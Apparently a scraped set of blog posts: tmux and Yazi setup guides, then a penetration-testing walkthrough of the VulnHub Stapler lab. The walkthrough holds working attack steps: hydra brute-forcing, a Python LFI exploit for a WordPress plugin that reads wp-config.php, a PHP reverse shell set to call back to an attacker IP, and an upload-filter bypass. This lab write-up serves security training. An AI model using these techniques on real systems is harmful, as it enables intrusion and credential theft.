[{"content":"一、安装 1sudo apt update \u0026amp;\u0026amp; sudo apt install -y tmux 2tmux -V # 确认版本，推荐 3.x 二、配置文件 创建 ~/.tmux.conf，以下是现代版配置（修复了你原文中 deprecated 的写法）：\n1cat \u0026gt; ~/.tmux.conf \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; 2# ── 前缀键改为 Ctrl+a ───────────────────────────── 3unbind C-b 4set -g prefix C-a 5bind C-a send-prefix # 双击 Ctrl+a 发送原始 Ctrl+a 6 7# ── 基础设置 ────────────────────────────────────── 8set -g default-terminal \u0026#34;screen-256color\u0026#34; 9set -g history-limit 50000 # 回滚缓冲加大，渗透时日志多 10set -g base-index 1 # 窗口从1开始编号（更直觉） 11setw -g pane-base-index 1 12set -g escape-time 0 # 消除 ESC 延迟，vim用户必备 13set -g focus-events on 14 15# ── 鼠标支持 ────────────────────────────────────── 16set -g mouse on # 鼠标拖边框调整大小、点击切换 17unbind-key -n MouseDown3Pane # 禁用鼠标右键菜单 与终端的邮件复制冲突 18 19# ── Alt+方向键切换 pane（无需前缀） ─────────────── 20bind -n M-Left select-pane -L 21bind -n M-Right select-pane -R 22bind -n M-Up select-pane -U 23bind -n M-Down select-pane -D 24 25# ── 分屏快捷键更直觉（| 和 - ）───────────────────── 26bind | split-window -h -c \u0026#34;#{pane_current_path}\u0026#34; 27bind - split-window -v -c \u0026#34;#{pane_current_path}\u0026#34; 28unbind \u0026#39;\u0026#34;\u0026#39; 29unbind % 30 31# ── 重载配置 ────────────────────────────────────── 32bind r source-file ~/.tmux.conf \\; display \u0026#34;Config reloaded!\u0026#34; 33 34# ── 颜色主题（抹茶绿）───────────────────────────── 35set -g pane-border-style fg=colour240 36set -g pane-active-border-style fg=colour107 # 抹茶绿边框 37 38set -g status-style bg=colour236,fg=colour250 39set -g status-justify centre 40set -g status-left \u0026#34;#[fg=colour107,bold] #S \u0026#34; # session名 抹茶绿 41set -g status-right \u0026#34;#[fg=colour108]%H:%M #[fg=colour245]%d-%b\u0026#34; # 24小时制 42 43setw -g window-status-current-style fg=colour236,bg=colour107,bold # 当前窗口绿底 44setw -g window-status-current-format \u0026#34; #I:#W \u0026#34; 45setw -g window-status-style fg=colour143,bg=colour236 # 其他窗口淡绿 46setw -g window-status-format \u0026#34; #I:#W \u0026#34; 47EOF 应用配置：\n1tmux source-file ~/.tmux.conf 2# 或者直接开一个新 session 测试 3tmux 三、核心概念（先理解再用） tmux └─ Session（会话） ← 可以 detach 后台保活 └─ Window（窗口） ← 类似浏览器标签页 └─ Pane（面板） ← 同一窗口内分屏 四、常用操作速查（基于上面配置） Session 管理 操作 命令 新建有名字的 session tmux new -s pentest 重命名当前session 列出所有 session tmux ls 重新连接 session tmux attach -t pentest 在 tmux 内脱离 Ctrl+a d 杀掉 session tmux kill-session -t pentest Window 操作 操作 快捷键 新建窗口 Ctrl+a c 切换到下一个窗口 Ctrl+a n 切换到上一个窗口 Ctrl+a p 按编号切换 Ctrl+a 1/2/3... 重命名当前窗口 Ctrl+a , Pane 操作 操作 快捷键 垂直分屏（左右） Ctrl+a | 水平分屏（上下） Ctrl+a - 切换 pane Alt+方向键（无需前缀） 最大化/还原当前 pane Ctrl+a z 调整 pane 大小 Ctrl+a（长按）+ 方向键 关闭当前 pane exit 或 Ctrl+d 显示编号切换 Ctrl+a q 然后按数字 向前/后置换 pane Ctrl+a { / Ctrl+a } 复制模式（查看输出日志必用） 操作 快捷键 进入复制模式（可滚屏） Ctrl+a [ 退出复制模式 q 向上/下翻页 PgUp / PgDn 搜索 / 输入关键词 tmux 复制模式默认是 emacs 键位，/ 搜索是 vi 键位，需要先开启。 在 ~/.tmux.conf 加一行：\n1setw -g mode-keys vi 然后 Ctrl+a r 重载配置。\n之后复制模式的完整键位：\n操作 快捷键 进入复制模式 Ctrl+a [ 向下搜索 / 输入关键词 回车 向上搜索 ? 输入关键词 回车 下一个匹配 n 上一个匹配 N 退出 q 开始选中 Space 复制选中 Enter 粘贴 Ctrl+a ] 顺便推荐再加两行，让复制模式体验更好： 1setw -g mode-keys vi 2bind -T copy-mode-vi v send -X begin-selection # v 开始选中（像 vim） 3bind -T copy-mode-vi y send -X copy-selection-and-cancel # y 复制 这样选文本的方式就和 vim visual mode 完全一致了。\n五、渗透测试实战用法 推荐的 session 分组方式：\n1# 新建一个 pentest session，窗口按阶段命名 2tmux new -s pentest 3Ctrl+a , → 命名为 \u0026#34;recon 信息收集\u0026#34; 4 5Ctrl+a c → 新窗口 6Ctrl+a , → 命名为 \u0026#34;exploit 漏洞利用\u0026#34; 7 8Ctrl+a c → 新窗口 9Ctrl+a , → 命名为 \u0026#34;shell 终端维持\u0026#34; 典型 exploit 窗口布局：\nCtrl+a | # 左右分屏 左边跑 nmap/扫描 右边 Ctrl+a - 再上下分，上面写 payload，下面监听 nc/msf 断线保活（最重要的 feature）：\n1# SSH 断了不怕，session 还在 2tmux attach -t pentest # 重连即恢复 六、验证效果 1tmux new -s test 2# 按 Ctrl+a | → 左右分屏 3# 按 Ctrl+a - → 当前pane再上下分 4# 按 Alt+方向键 → 在三个pane间切换 5# 按 Ctrl+a z → 最大化某个pane 6# 按 Ctrl+a r → 热重载配置 ","date":"2026-03-25T16:31:08+08:00","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260325134137604.png","permalink":"/post/tmux%E7%BB%88%E7%AB%AF%E5%A4%8D%E7%94%A8/","title":"Tmux终端复用"},{"content":"Yazi：终端文件管理器安装与试用 什么是 Yazi Yazi 是一个用 Rust 编写的现代终端文件管理器，纯 TUI 界面，无需图形环境，SSH 连接即可直接使用。相比传统的 ls + cd 工作流，Yazi 提供文件预览、图片缩略图、压缩包浏览、快速搜索等功能，与 tmux 配合使用体验极佳。\n安装 Kali / Debian / Ubuntu 官方暂无 apt 包，需手动下载预编译二进制：\n1wget https://github.com/sxyazi/yazi/releases/latest/download/yazi-x86_64-unknown-linux-musl.zip 2wget \u0026#34;https://gh-proxy.org/https://github.com/sxyazi/yazi/releases/latest/download/yazi-x86_64-unknown-linux-musl.zip\u0026#34; 3unzip yazi-x86_64-unknown-linux-musl.zip 4cd yazi-x86_64-unknown-linux-musl 5sudo mv yazi ya /usr/local/bin/ 6yazi --version 可选依赖（按需安装） 1sudo apt install -y ffmpeg 7zip jq poppler-utils fd-find ripgrep fzf zoxide imagemagick 2# 如果报错 3echo \u0026#39;Acquire::ForceIPv4 \u0026#34;true\u0026#34;;\u0026#39; | sudo tee /etc/apt/apt.conf.d/99force-ipv4 4sudo apt install -y ffmpeg zoxide 5# 或换源 6sudo tee /etc/apt/sources.list \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; 7deb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib 8EOF 9sudo apt update \u0026amp;\u0026amp; sudo apt install -y ffmpeg zoxide 依赖 功能 ffmpeg 视频缩略图预览 7zip 压缩包预览与解压 jq JSON 文件预览 poppler-utils PDF 预览 fd-find 文件搜索（s 键） ripgrep 文件内容全文搜索 fzf 快速子目录导航 zoxide 历史目录跳转 imagemagick HEIC / JPEG XL 预览 渗透场景推荐至少装 fd-find + ripgrep + fzf，搜文件和搜内容效率极高。\nShell 集成（推荐） 在 ~/.zshrc（Kali） 或 ~/.bashrc 中加入以下函数，使退出 Yazi 时自动 cd 到最后浏览的目录：\n1function y() { 2 local tmp=\u0026#34;$(mktemp -t \u0026#34;yazi-cwd.XXXXX\u0026#34;)\u0026#34; 3 yazi \u0026#34;$@\u0026#34; --cwd-file=\u0026#34;$tmp\u0026#34; 4 if cwd=\u0026#34;$(cat -- \u0026#34;$tmp\u0026#34;)\u0026#34; \u0026amp;\u0026amp; [ -n \u0026#34;$cwd\u0026#34; ] \u0026amp;\u0026amp; [ \u0026#34;$cwd\u0026#34; != \u0026#34;$PWD\u0026#34; ]; then 5 cd -- \u0026#34;$cwd\u0026#34; 6 fi 7 rm -f -- \u0026#34;$tmp\u0026#34; 8} 然后执行 source ~/.zshrc 生效。之后用 y 命令启动，按 q 退出后会自动跳转到你最后浏览的目录。\n基本界面 启动后界面分为三栏：\n左栏（父目录） | 中栏（当前目录） | 右栏（预览） 上下移动光标时右栏实时预览文件内容，文本、图片、压缩包、PDF 均可预览（需对应依赖）。\n常用快捷键 导航 操作 快捷键 进入目录 / 打开文件 Enter 或 l 返回上级目录 h 上 / 下移动 k / j 跳到顶部 / 底部 gg / G 跳到指定行 数字 + G（如 5G） 文件操作 操作 快捷键 复制文件 y 剪切文件 x 粘贴 p 重命名 r 删除（移入回收站） d 永久删除 D 新建文件 a，输入文件名回车 新建文件夹 a，文件名末尾加 / 复制文件路径 c 然后 c（复制完整路径） 选择 操作 快捷键 选中 / 取消当前文件 Space 全选 Ctrl + a 反选 Ctrl + r 搜索 操作 快捷键 在当前目录过滤 / 输入关键词 递归搜索文件名（fd） s 搜索文件内容（ripgrep） S 使用 fzf 快速跳转 z zoxide 历史跳转 Z 其他 操作 快捷键 显示 / 隐藏隐藏文件 . 排序方式 , 打开 Shell（当前目录） ! 查看文件权限信息 Space 选中后 ~ 退出（不 cd） q 退出（cd 到当前目录） Q（需配置 shell 集成） 与 [[Tmux终端复用|tmux]] 配合使用 在 tmux 的某个 pane 里开一个 Yazi，旁边 pane 做其他工作，两边互不干扰：\nCtrl+a | # 垂直分屏 左边：y # 启动 Yazi 浏览文件 右边：正常命令行操作 需要把某个文件路径传到命令行时，在 Yazi 里按 c c 复制路径，切换到右边 pane 粘贴即可。\n案例展示 启动后界面：\n~/pentest/targets .. README.md 192.168.1.100/ → # Target: Windows AD 192.168.1.200/ # Scope: 192.168.1.0/24 loot/ # Creds found: admin:Password123 scans/ exploits/ 联合使用 s 键（fd 搜索）没结果 Kali 里 fd 的包名是 fd-find，但二进制叫 fdfind 不叫 fd，Yazi 找不到：\n1sudo apt install -y fd-find 2which fdfind # 应该输出 /usr/bin/fdfind 3sudo ln -s /usr/bin/fdfind /usr/local/bin/fd 4fd --version S 键（ripgrep 内容搜索）没结果 确认 rg 是否可用：\n1rg --version 没装的话：\n1sudo apt install -y ripgrep z 提示找不到（fzf 跳转） 需要 fzf 版本 \u0026gt;= 0.53.0，Kali apt 源的版本太旧：\n1fzf --version # 看当前版本 如果版本低于 0.53.0，手动装新版：\n1wget https://github.com/junegunn/fzf/releases/latest/download/fzf-linux_amd64.tar.gz 2tar -xzf fzf-linux_amd64.tar.gz 3sudo mv fzf /usr/local/bin/ 4fzf --version Z 提示找不到（zoxide 历史跳转） zoxide 装好后还需要初始化才能用，在 ~/.zshrc 加：\n1eval \u0026#34;$(zoxide init zsh)\u0026#34; 然后 source ~/.zshrc，并且需要先用 cd 访问几个目录积累历史，zoxide 才有记录可以跳。\n验证顺序 1fd --version # 应该有输出 2rg --version # 应该有输出 3fzf --version # 应该 \u0026gt;= 0.53.0 4zoxide --version # 应该有输出 四个都通了再进 Yazi 测试。\n各功能实际用法 s — 文件名搜索（fd） 进入 Yazi 按 s，弹出输入框，输入关键词回车，结果列表出来后用 j/k 选择，Enter 跳到该文件。\n场景：找某个目录下所有 .py 文件 → 输入 .py 场景：找名字含 config 的文件 → 输入 config S — 文件内容搜索（ripgrep） 按 S，输入要搜索的字符串，回车，列出所有包含该内容的文件。\n场景：找哪个文件里有 password → 输入 password 场景：找包含某个函数名的脚本 → 输入函数名 z — fzf 快速跳转 按 z，弹出 fzf 界面，模糊匹配当前目录树下的子目录，输入几个字母筛选，Enter 直接跳过去。\nZ — zoxide 历史跳转 按 Z，从你历史访问过的目录里模糊匹配跳转。需要先用 cd 或在 Yazi 里逛几个目录积累记录才有效果，第一次用是空的。\n还需要确认 zoxide 初始化加进去了：\n1grep \u0026#34;zoxide\u0026#34; ~/.zshrc 没有的话加上：\n1echo \u0026#39;eval \u0026#34;$(zoxide init zsh)\u0026#34;\u0026#39; \u0026gt;\u0026gt; ~/.zshrc 2source ~/.zshrc 进 Yazi 试一下 s 搜个文件名看有没有结果。\nPDF预览 pdftoppm 是 poppler-utils 里的工具，装了但找不到，检查一下：\n1which pdftoppm 2dpkg -l | grep poppler 如果 which pdftoppm 没输出，重装一次：\n1sudo apt install --reinstall poppler-utils 2which pdftoppm 如果有输出路径但 Yazi 还是报错，说明路径不在 Yazi 的 $PATH 里，告诉我 which pdftoppm 的输出结果。\nMP4视频预览 目前版本 Yazi 26.2.2 (5b2dd41 2026-03-24) 关于视频预览的bug还没修，目前Kali上看不了视频，似乎只有mac的能看，等后期官方修复吧。\n参考资料 官方文档 GitHub 仓库 插件列表 ","date":"2026-03-25T16:31:08+08:00","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260325152944185.png","permalink":"/post/yazi-%E7%BB%88%E7%AB%AF%E6%96%87%E4%BB%B6%E7%AE%A1%E7%90%86%E5%99%A8%E5%AE%89%E8%A3%85%E4%B8%8E%E8%AF%95%E7%94%A8/","title":"Yazi：终端文件管理器安装与试用"},{"content":" Follow the LongYuSec and LongYuSec-Jing\u0026rsquo;an public accounts for regularly updated articles on OSCP, penetration testing, and more. Reply \u0026ldquo;OSCP tools\u0026rdquo; in the backend to get the tools mentioned in this article.\nDownload the VM image from the official site:\nhttps://www.vulnhub.com/entry/stapler-1,150/\nInformation Gathering 1# Kali attacker machine IP 2192.168.45.165 3# Target machine IP 4192.168.198.148 Port and Directory Scanning 1# Set MTU 2sudo ip link set dev tun0 mtu 1250 3ip link show tun0 4# Port scan 5ports=$(sudo nmap -p- --min-rate=5000 -Pn 192.168.198.148 | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) 6echo $ports 7# Service scan 8sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.198.148 9sudo nmap --script=vuln -p$ports -Pn 192.168.198.148 10# Directory scan 11dirsearch -u http://192.168.223.148 12gobuster dir -e -u http://192.168.198.148 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html,txt -b 403,500,404 -z 13whatweb http://192.168.198.148/ Scan results:\n1┌──(kali㉿kali)-[~/Desktop] 2└─$ echo $ports 321,22,80,139,3306 4 5┌──(kali㉿kali)-[~/Desktop] 6└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.198.148 7Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-13 23:17 -0400 8Nmap scan report for 192.168.198.148 9Host is up (0.67s latency). 10 11PORT STATE SERVICE VERSION 1221/tcp open ftp vsftpd 2.0.8 or later 13| ftp-anon: Anonymous FTP login allowed (FTP code 230) 14|_Can\u0026#39;t get directory listing: PASV failed: 550 Permission denied.\u0026#39; 15| ftp-syst: 16| STAT: 17| FTP server status: 18| Connected to 192.168.45.165 19| Logged in as ftp 20| TYPE: ASCII 21| No session bandwidth limit 22| Session timeout in seconds is 300 23| Control connection is plain text 24| Data connections will be plain text 25| At session startup, client count was 4 26| vsFTPd 3.0.3 - secure, fast, stable 27|_End of status 2822/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 29| ssh-hostkey: 30| 2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA) 31| 256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA) 32|_ 256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519) 3380/tcp open http PHP cli server 5.5 or later 34|_http-title: 404 Not Found 35139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP) 363306/tcp open mysql MySQL 5.7.12-0ubuntu1 37| mysql-info: 38| Protocol: 10 39| Version: 5.7.12-0ubuntu1 40| Thread ID: 8 41| Capabilities flags: 63487 42| Some Capabilities: Support41Auth, ODBCClient, Speaks41ProtocolOld, LongColumnFlag, SupportsTransactions, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, InteractiveClient, SupportsLoadDataLocal, Speaks41ProtocolNew, ConnectWithDatabase, SupportsCompression, LongPassword, DontAllowDatabaseTableColumn, FoundRows, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins 43| Status: Autocommit 44| Salt: w3/ \\x07\\x1D7\\x03o?)\\x1C\\x01(\\x05`\\x1CJ*\\x04 45|_ Auth Plugin Name: mysql_native_password 46Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port 47Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.14 (97%), Linux 3.13 - 4.4 (93%), Linux 3.8 - 3.16 (93%), Linux 2.6.32 - 3.13 (93%), Linux 3.4 - 3.10 (93%), Linux 4.15 (93%), Linux 5.0 - 5.14 (93%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (93%), Linux 4.15 - 5.19 (93%) 48No exact OS matches for host (test conditions non-ideal). 49Network Distance: 4 hops 50Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel 51 52Host script results: 53|_nbstat: NetBIOS name: RED, NetBIOS user: \u0026lt;unknown\u0026gt;, NetBIOS MAC: \u0026lt;unknown\u0026gt; (unknown) 54| smb-security-mode: 55| account_used: guest 56| authentication_level: user 57| challenge_response: supported 58|_ message_signing: disabled (dangerous, but default) 59| smb-os-discovery: 60| OS: Windows 6.1 (Samba 4.3.9-Ubuntu) 61| Computer name: red 62| NetBIOS computer name: RED\\x00 63| Domain name: \\x00 64| FQDN: red 65|_ System time: 2026-03-14T03:18:42+00:00 66| smb2-security-mode: 67| 3.1.1: 68|_ Message signing enabled but not required 69|_clock-skew: mean: 0s, deviation: 2s, median: -1s 70| smb2-time: 71| date: 2026-03-14T03:18:39 72|_ start_date: N/A 73 74OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 75Nmap done: 1 IP address (1 host up) scanned in 150.85 seconds 76 77┌──(kali㉿kali)-[~/Desktop] 78└─$ sudo nmap --script=vuln -p$ports -Pn 192.168.198.148 79Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-13 23:20 -0400 80Nmap scan report for 192.168.198.148 81Host is up (0.47s latency). 82 83PORT STATE SERVICE 8421/tcp open ftp 8522/tcp open ssh 8680/tcp open http 87| http-slowloris-check: 88| VULNERABLE: 89| Slowloris DOS attack 90| State: LIKELY VULNERABLE 91| IDs: CVE:CVE-2007-6750 92| Slowloris tries to keep many connections to the target web server open and hold 93| them open as long as possible. It accomplishes this by opening connections to 94| the target web server and sending a partial request. By doing so, it starves 95| the http server\u0026#39;s resources causing Denial Of Service.\u0026#39; 96| 97| Disclosure date: 2009-09-17 98| References: 99| http://ha.ckers.org/slowloris/ 100|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 101|_http-csrf: Couldn\u0026#39;t find any CSRF vulnerabilities.\u0026#39; 102|_http-stored-xss: Couldn\u0026#39;t find any stored XSS vulnerabilities.\u0026#39; 103|_http-dombased-xss: Couldn\u0026#39;t find any DOM based XSS.\u0026#39; 104|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug) 105139/tcp open netbios-ssn 1063306/tcp open mysql 107 108Host script results: 109|_smb-vuln-ms10-054: false 110| smb-vuln-cve2009-3103: 111| VULNERABLE: 112| SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497) 113| State: VULNERABLE 114| IDs: CVE:CVE-2009-3103 115| Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2, 116| Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a 117| denial of service (system crash) via an \u0026amp; (ampersand) character in a Process ID High header field in a NEGOTIATE 118| PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location, 119| aka \u0026#34;SMBv2 Negotiation Vulnerability.\u0026#34; 120| 121| Disclosure date: 2009-09-08 122| References: 123| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103 124|_ http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103 125| smb-vuln-regsvc-dos: 126| VULNERABLE: 127| Service regsvc in Microsoft Windows systems vulnerable to denial of service 128| State: VULNERABLE 129| The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference 130| pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes 131| while working on smb-enum-sessions. 132|_ 133|_smb-vuln-ms10-061: false 134 135Nmap done: 1 IP address (1 host up) scanned in 524.65 seconds 136 137Target: http://172.168.169.129/ 138 139[02:06:11] Starting: 140[02:06:11] 200 - 4KB - /.bashrc 141[02:06:11] 200 - 220B - /.bash_logout 142[02:06:12] 200 - 675B - /.profile 143 144Task Completed The port 80 web page shows nothing.\nFTP Anonymous Login Nmap scan indicated FTP allows anonymous login. After logging in there is a note file. Downloading and viewing it reveals a single sentence, as shown below.\nThree potential administrator usernames obtained, written to user.txt:\nJohn Elly Harry Connection timed out due to network latency issues mid-way. I was using a free account with only 3 hours of daily quota — no problem, we have VulnHub! Long live VulnHub!\nhttps://ciphersaw.me/2021/07/10/exploration-of-file-format-exception-while-vmware-loads-ovf/\nReferring to a XianZhi community article to resolve the VMware OVF import error. The target machine IP is now 172.168.169.129.\nContinuing to brute-force FTP — with three usernames, at least one will crack.\nFTP Username Brute-Force Recommended tool: username-anarchy\nSpecifically designed to generate variants from real names — the most commonly used username wordlist generator in penetration testing.\n# Install git clone https://github.com/urbanadventurer/username-anarchy.git # With proxy git clone https://gh-proxy.org/https://github.com/urbanadventurer/username-anarchy.git cd username-anarchy ./username-anarchy John Generate usernames for these three names:\n1# Generate individually and merge 2./username-anarchy John \u0026gt; usernames.txt 3./username-anarchy Elly \u0026gt;\u0026gt; usernames.txt 4./username-anarchy Harry \u0026gt;\u0026gt; usernames.txt 5# Batch mode 6./username-anarchy -i ../user.txt \u0026gt;\u0026gt; ../usernames.txt 7# Deduplicate 8sort -u usernames.txt -o usernames.txt 9 10wc -l usernames.txt Or if full names are available (e.g. from the website), results are even better:\n1./username-anarchy \u0026#34;John Smith\u0026#34; \u0026gt;\u0026gt; usernames.txt Use the generated usernames with hydra to brute-force:\nhydra -L usernames.txt -e nsr ftp://172.168.169.129 The nsr parameter tries: empty password, same as username, and reversed username.\nSuccessfully obtained a valid username and password.\nThe FTP folder contains a leaked /etc/passwd file.\nSSH Login Brute-Force The passwd file contains many users. Filter for users with valid login shells, then brute-force with hydra:\n1cat passwd | grep -v -E \u0026#34;nologin|false\u0026#34; | cut -d \u0026#34;:\u0026#34; -f 1 \u0026gt; ssh_user_name 2hydra -L ssh_user_name -e nsr ssh://172.168.169.129 Victim #2! This was very satisfying.\nHistory Command Leak After logging in, start a happy round of searching:\n1ls /home/*/ -al 2cat /home/*/.* |grep pass 3cat /home/*/.bash_history | grep -v exit Two more lucky victims leaked their passwords in plaintext — seriously, never type passwords directly on the command line:\n1sshpass -p thisimypassword ssh JKanode@localhost 2sshpass -p JZQuyIN5 peter@localhost Logging in as JKanode was useless — just cannon fodder.\nLog in as Peter and Escalate Directly This machine has multiple approaches. This is the speed-run method — it might make the machine seem trivial. But the official description says at least two ways to get a shell and at least three ways to get root. So let\u0026rsquo;s dig in and plug all the holes!\nOther Methods Main references:\nhttps://xz.aliyun.com/news/12473 https://www.freebuf.com/vuls/343731.html https://blog.csdn.net/2403_88668158/article/details/146487087\nWays to Get a Shell Port 12380 Web HTTP is useless here — you need HTTPS.\nScanning the web directory reveals useful information.\nphpMyAdmin Database Admin Panel phpMyAdmin is not very useful for those who already obtained the login credentials via SSH brute-force. It\u0026rsquo;s handy if you don\u0026rsquo;t have a local DB client like DBeaver and don\u0026rsquo;t want to use MySQL on the command line.\nblogblog Blog System The main course at last — the blog system. Opening the page immediately shows a login window and WordPress hints. Time to bring out the tools!\nEnumerate users first:\n1wpscan --url https://172.168.169.131:12380/blogblog/ -e u --disable-tls-checks You can try logging in as elly (the account obtained from FTP brute-force earlier), but it\u0026rsquo;s obvious she is a regular user, not an admin. The password can be the one cracked from MySQL earlier. If the MySQL path wasn\u0026rsquo;t taken, no worries — there are more vulnerabilities.\nScan for installed plugins:\n1wpscan --url https://172.168.169.131:12380/blogblog/ -e ap --disable-tls-checks --plugins-detection aggressive Registration URL and upload directory discovered. If uploading a shell later, it should go under this path.\nPlugin scan results below — let\u0026rsquo;s go through them one by one:\n1[i] Plugin(s) Identified: 2 3[+] advanced-video-embed-embed-videos-or-playlists 4 | Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/ 5 | Latest Version: 1.0 (up to date) 6 | Last Updated: 2015-10-14T13:52:00.000Z 7 | Readme: https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt 8 | [!] Directory listing is enabled 9 | 10 | Found By: Known Locations (Aggressive Detection) 11 | - https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/, status: 200 12 | 13 | Version: 1.0 (80% confidence) 14 | Found By: Readme - Stable Tag (Aggressive Detection) 15 | - https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt 16 17[+] akismet 18 | Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/akismet/ 19 | Latest Version: 5.6 20 | Last Updated: 2025-11-12T16:31:00.000Z 21 | 22 | Found By: Known Locations (Aggressive Detection) 23 | - https://172.168.169.131:12380/blogblog/wp-content/plugins/akismet/, status: 403 24 | 25 | The version could not be determined. 26 27[+] shortcode-ui 28 | Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/ 29 | Last Updated: 2019-01-16T22:56:00.000Z 30 | Readme: https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt 31 | [!] The version is out of date, the latest version is 0.7.4 32 | [!] Directory listing is enabled 33 | 34 | Found By: Known Locations (Aggressive Detection) 35 | - https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/, status: 200 36 | 37 | Version: 0.6.2 (100% confidence) 38 | Found By: Readme - Stable Tag (Aggressive Detection) 39 | - https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt 40 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection) 41 | - https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt 42 43[+] two-factor 44 | Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/two-factor/ 45 | Latest Version: 0.15.0 46 | Last Updated: 2026-02-17T13:21:00.000Z 47 | Readme: https://172.168.169.131:12380/blogblog/wp-content/plugins/two-factor/readme.txt 48 | [!] Directory listing is enabled 49 | 50 | Found By: Known Locations (Aggressive Detection) 51 | - https://172.168.169.131:12380/blogblog/wp-content/plugins/two-factor/, status: 200 52 | 53 | The version could not be determined. advanced-video Plugin After researching, a Local File Inclusion vulnerability was found:\nDownload and add SSL support, convert to Python 3 syntax:\n1#!/usr/bin/env python3 2import random 3import urllib.request 4import urllib.error 5import re 6import ssl 7 8# Ignore SSL certificate verification 9ssl._create_default_https_context = ssl._create_unverified_context 10 11url = \u0026#34;https://172.168.169.131:12380/blogblog\u0026#34; # Replace with your target IP 12 13randomID = int(random.random() * 100000000000000000) 14 15objHtml = urllib.request.urlopen( 16 url + \u0026#39;/wp-admin/admin-ajax.php?action=ave_publishPost\u0026amp;title=\u0026#39; + 17 str(randomID) + \u0026#39;\u0026amp;short=rnd\u0026amp;term=rnd\u0026amp;thumb=../wp-config.php\u0026#39; 18) 19content = objHtml.readlines() 20 21for line in content: 22 line = line.decode(\u0026#39;utf-8\u0026#39;) 23 numbers = re.findall(r\u0026#39;\\d+\u0026#39;, line) 24 id = numbers[-1] 25 id = int(id) // 10 # Python 3 integer division 26 27objHtml = urllib.request.urlopen(url + \u0026#39;/?p=\u0026#39; + str(id)) 28content = objHtml.readlines() 29 30for line in content: 31 line = line.decode(\u0026#39;utf-8\u0026#39;) 32 if \u0026#39;attachment-post-thumbnail size-post-thumbnail wp-post-image\u0026#39; in line: 33 urls = re.findall(\u0026#39;\u0026#34;(https?://.*?)\u0026#34;\u0026#39;, line) 34 print(urllib.request.urlopen(urls[0]).read().decode(\u0026#39;utf-8\u0026#39;)) 1wget https://172.168.169.131:12380/blogblog/wp-content/uploads/349164566.jpeg --no-check-certificate The config file is in our hands — database password obtained, the loop is complete.\nSimilarly, /etc/passwd can also be retrieved this way, which loops back to the SSH brute-force section — another closed loop.\nAdmin John Logs into WP Backend and Uploads Reverse Shell The admin opens the media interface and finds files previously generated by the plugin.\nCopy and modify a reverse PHP shell:\n1 cp /usr/share/webshells/php/php-reverse-shell.php . 2 sed -i -E \u0026#34;s/ip\\s*=\\s*\u0026#39;127\\.0\\.0\\.1\u0026#39;\\s*;/ip = \u0026#39;172.168.169.128\u0026#39;;/g; s/port\\s*=\\s*1234\\s*;/port = 4777;/g\u0026#34; php-reverse-shell.php There are many ways to generate shells. This example uses only the reverse shell type. Other writeups mention webacoo, weevely, MSF, Behinder, etc. See Common WebShell Techniques.\nClicking upload prompts an unsupported file type error.\nIntercept the request, add a null byte truncation — upload succeeds, but the file is parsed as a PNG, not executed. No problem — plugin upload is another option.\nAlso upload the PHP file, click Install:\nIgnore this page, just click Proceed — our PHP file will now appear in the upload directory.\nShell successfully received. From here, escalate using the Peter sudo method.\nMySQL Database After SSH brute-force and logging into SHayslett\u0026rsquo;s account, browsing /var/www/https/blogblog reveals the database password:\nUnfortunately, cannot switch to root via SSH directly — meaning root\u0026rsquo;s password is not reused, it can only be used for database connection.\nConnect to the database with username root and password plbkac:\nmysql -h 172.168.169.129 -uroot -pplbkac --skip-ssl 